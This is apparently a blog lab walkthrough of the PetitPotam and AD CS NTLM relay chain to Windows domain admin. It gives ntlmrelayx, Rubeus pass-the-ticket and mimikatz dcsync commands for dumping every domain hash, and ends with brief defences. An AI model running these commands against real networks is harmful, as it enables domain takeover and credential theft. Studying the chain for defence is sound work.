Introduction
Whilst I was on ‘holiday’ (seriously even when on holiday I almost always must do some work!) a few Windows vulnerabilities were published. Great work by Gilles Lionel, Benjamin Delpy and many many others!
Lab Setup
- A Domain Controller
- A Separate ADCS Install with Web Enrolment or two DCs one with ADCS installed.
- A windows Client Device (non-domain joined)
- An attacker device (I used Kali)
You do not need any domain credentials to conduct this exploit chain, so from a network adjacent unauthenticated position you can get DA with the right circumstances (default configuration).
Tools
https://github.com/gentilkiwi/mimikatz/releases
https://github.com/GhostPack/Rubeus
https://github.com/ExAndroidDev/impacket
https://github.com/topotam/PetitPotam
Resources/References
https://posts.specterops.io/certified-pre-owned-d95910965cd2
https://twitter.com/ExAndroidDev
Setup Attacker VM (kali)
sudo apt install python3-pip -y
Clone the ADCS impacket branch:
git clone –branch ntlmrelayx-adcs-attack https://github.com/ExAndroidDev/impacket.git
python3 ntlmrelayx.py -t http://192.168.11.130/certsrv/certfnsh.asp -smb2support –adcs
git clone https://github.com/ExAndroidDev/impacket
cd impacket
git switch ntlmrelayx-adcs-attack
python3 -m pip install .
Run the NTLMrelayX
python3 ntlmrelayx.py -t http://192.168.11.130/certsrv/certfnsh.asp -smb2support –adcs
You can also specify the template to request (e.g. for domain controller certs):
python3 ntlmrelayx.py -debug -t http://192.168.11.130/certsrv/certfnsh.asp -smb2support –adcs –template DomainController
Causing a machine connection to occur
This exploit connects to the domain controller using the MS-EFSRPC method which send a command to the server to connect to the SMB relay we have configured.
Converting the Base64 Certificate into a Kerberos Ticket
You will need Rubeus and Mimikatz for the next part.
From a domain joined machine with userland access run:
./Rubeus.exe asktgt /user:YAVIN$ /certificate:[BASE64STRING] /ptt
This will request a Kerberos Ticket Granting Token (TGT) using the Domain Controller Machine account using the certificate to authenticate (this gives you the access of the krbtgt context in the directory (god mode))
Dumping Hashes Using the ‘stolen’ Kerberos token and Mimikatz
lsadump::dcsync /user:administrator
lsadump::dcsync /all
So, there we have it, from zero to hero (?) from an often deployed and rarely reviewed service.
Defences
Ok so the easy answer is to disable NTLM… yeah right ok so most orgs probably can’t easily do that. There’s more that can be done, you can reconfigure the IIS certsrv to use HTTPS and enable strong protections. You can restrict access to the HTTP interface for cetificate services. There’s also the possibilities to look for detections. This post isn’t focused on defences but it’s important to consider from both an offensive and defensive perspective. This can also be combined with other vectors, I believe there are many other chains either out there or waiting to be exploited.